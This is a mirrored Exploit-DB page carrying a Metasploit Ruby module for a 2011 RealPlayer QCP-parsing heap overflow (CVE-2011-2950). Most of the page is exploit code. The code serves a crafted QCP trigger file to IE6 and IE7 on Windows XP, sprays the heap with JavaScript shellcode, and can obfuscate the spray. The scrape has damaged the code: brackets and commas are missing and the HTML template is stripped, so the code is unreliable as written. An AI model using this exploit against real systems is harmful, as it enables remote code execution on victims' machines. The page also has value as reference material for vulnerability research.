RealNetworks Realplayer – QCP Parsing Heap Overflow (Metasploit)

Exploit Database
130 阅读

作者： Metasploit

日期： 2011-09-17
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/17849/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

# $Id: realplayer_qcp.rb 13745 2011-09-17 06:48:33Z sinn3r $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})

super(update_info(info,

'Name'=> "RealNetworks Realplayer QCP Parsing Heap Overflow",

'Description' => %q{

This module exploits a heap overflow in Realplayer when handling a .QCP file.

The specific flaw exists within qcpfformat.dll. A static 256 byte buffer is

allocated on the heap and user-supplied data from the file is copied within a

memory copy loop.

This allows a remote attacker to execute arbitrary code running in the context

of the web browser via a .QCP file with a specially crafted "fmt" chunk.

At this moment this module exploits the flaw on Windows XP IE6, IE7.

'License' => MSF_LICENSE,

'Version' => "$Revision: 13745 $",

'Author'=>

[

'Sean de Regge', # Vulnerability discovery

'juan vazquez' # Metasploit module

'References' =>

[

['CVE', '2011-2950'],

['OSVDB', '74549'],

['BID', '49172'],

# ZDI advisory

['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-265/'],

# Vendor advisory

['URL', 'http://service.real.com/realplayer/security/08162011_player/en/'],

#Fix commit

['URL', 'http://lists.helixcommunity.org/pipermail/datatype-cvs/2011-April/015469.html'],

'Payload' =>

{

'Space' => 1024

'DefaultOptions' =>

{

'ExitFunction' => "process",

'InitialAutoRunScript' => 'migrate -f'

'Platform' => 'win',

'Targets'=>

[

[ 'Automatic', {} ],

[ 'Internet Explorer 6 on XP SP3', { 'Nops' => "%u1414%u1414" } ],

[ 'Internet Explorer 7 on XP SP3', { 'Nops' => "%u0c0c%u0c0c" } ],

'DisclosureDate' => "Aug 16 2011",

'DefaultTarget' => 0))

register_options(

[

OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])

], self.class)

end

def get_target(cli, request)

#Default target

my_target = target

vprint_status("User-Agent: #{request.headers['User-Agent']}")

if target.name == 'Automatic'

agent = request.headers['User-Agent']

if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/

#Windows XP + IE 6

my_target = targets[1]

elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/

#Windows XP + IE 7.0

my_target = targets[2]

elsif agent =~ /RMA/

#RealPlayer identifies itself as "RMA/1.0 (compatible; RealMedia)"

#when requesting our trigger file

return 'RMA'

else

#If we don't recognize the client, we don't fire the exploit

my_target = nil

end

return my_target

end

def exploit

#Set trigger file name

@filename = rand_text_alpha(rand(6) + 3)

#Create the trigger file

@trigger = build_trigger

super

end

def on_request_uri(cli, request)

#Pick the right target

vprint_status("Selecting target...")

my_target = get_target(cli, request)

if my_target.nil?

print_error("Target not supported")

send_not_found(cli)

return

end

vprint_status("URL: #{request.uri.to_s}")

#Send the trigger file upon request

if request.uri.match(/\.qcp$/)

print_status("Sending trigger file to #{cli.peerhost}:#{cli.peerport}")

send_response(cli, @trigger, { 'Content-Type' => 'application/octet-stream' })

return

end

vprint_status("Building shellcode...")

code = Rex::Text.to_unescape(payload.encoded)

vprint_status("Building spray...")

spray = build_spray(my_target, code)

#obfuscate on demand

vprint_status("Obfuscating javascript...")

if datastore['OBFUSCATE']

spray = Rex::Exploitation::JSObfu.new(spray)

spray.obfuscate

end

vprint_status("Building html...")

#Value for the 'Src' parameter of our ActiveX control

trigger_file = ""

if ("/" == get_resource[-1,1])

trigger_file = get_resource[0, get_resource.length - 1]

else

trigger_file = get_resource

end

trigger_file << "/#{@filename}.qcp"

html = <<-EOS

<HTML>

<HEAD>

</HEAD>

<BODY>

#{spray}

</script>

</OBJECT>

</BODY>

EOS

print_status("Sending malicious page to #{cli.peerhost}:#{cli.peerport}...")

send_response( cli, html, {'Content-Type' => 'text/html'} )

end

def build_trigger()

overflow_size = 700

overflow_string = "\x11" * 700

#riff_mark

trigger = "\x52\x49\x46\x46"

#total_size

trigger << [0xed44 + overflow_size].pack("V")

#qlcm_tag

trigger << "\x51\x4c\x43\x4d"

#fmt_tag

trigger << "\x66\x6d\x74\x20"

#fmt_size

trigger << [0x96 + overflow_size].pack("V")

#fmt_content

trigger << "\x01\x00\x8d\xd4\x89\xe6\x76\x90"

trigger << "\xb5\x46\x91\xef\x73\x6a\x51\x00"

trigger << "\xce\xb4\x01\x00\x54\x49\x41\x20"

trigger << "\x49\x53\x2d\x31\x32\x37\x20\x45"

trigger << "\x6e\x68\x61\x6e\x63\x65\x64\x20"

trigger << "\x56\x61\x72\x69\x61\x62\x6c\x65"

trigger << "\x20\x52\x61\x74\x65\x20\x43\x6f"

trigger << "\x64\x65\x63\x2c\x20\x53\x70\x65"

trigger << "\x65\x63\x68\x20\x53\x65\x72\x76"

trigger << "\x69\x63\x65\x20\x4f\x70\x74\x69"

trigger << "\x6f\x6e\x20\x33\x20\x00\x00\x00"

trigger << "\x00\x00\x00\x00\x00\x00\x00\x00"

trigger << "\x00\x00\x00\x00\xc8\x32\x16\x00"

trigger << "\xa0\x00\x40\x1f\x10\x00\x05\x00"

trigger << "\x00\x00\x16\x04\x0a\x03\x05\x02"

trigger << "\x02\x01\x00\x00\x00\x00\x00\x00"

trigger << "\x00\x00\x00\x00\x00\x00\x00\x00"

trigger << "\x00\x00\x00\x00\x00\x00"

trigger << overflow_string

#vrat_tag

trigger << "\x76\x72\x61\x74"

#vrat_size

trigger << [0x8].pack("V")

#vrat_content

trigger << "\x01\x00\x00\x00\x06\x13\x00\x00"

#data_tag

trigger << "\x64\x61\x74\x61"

#data_size

trigger << [0xec8a].pack("V")

#data_content

trigger << rand_text_alpha(0xec8a)

return trigger

end

def build_spray(mytarget, code)

spray = <<-JS

var heap_obj = new heapLib.ie(0x20000);

var code = unescape("#{code}");

var nops = unescape("#{mytarget['Nops']}");

while (nops.length < 0x10000) nops += nops;

offset = nops.substring(0, 0x7BE0);

var shellcode = offset + code + nops.substring(0, 0x8000-offset.length-code.length);

while (shellcode.length < 0x20000) shellcode += shellcode;

block = shellcode.substring(0, (0x10000-6)/2);

heap_obj.gc();

for (var i=0; i < 0x1400; i++) {

heap_obj.alloc(block);

}

spray = heaplib(spray)

return spray

end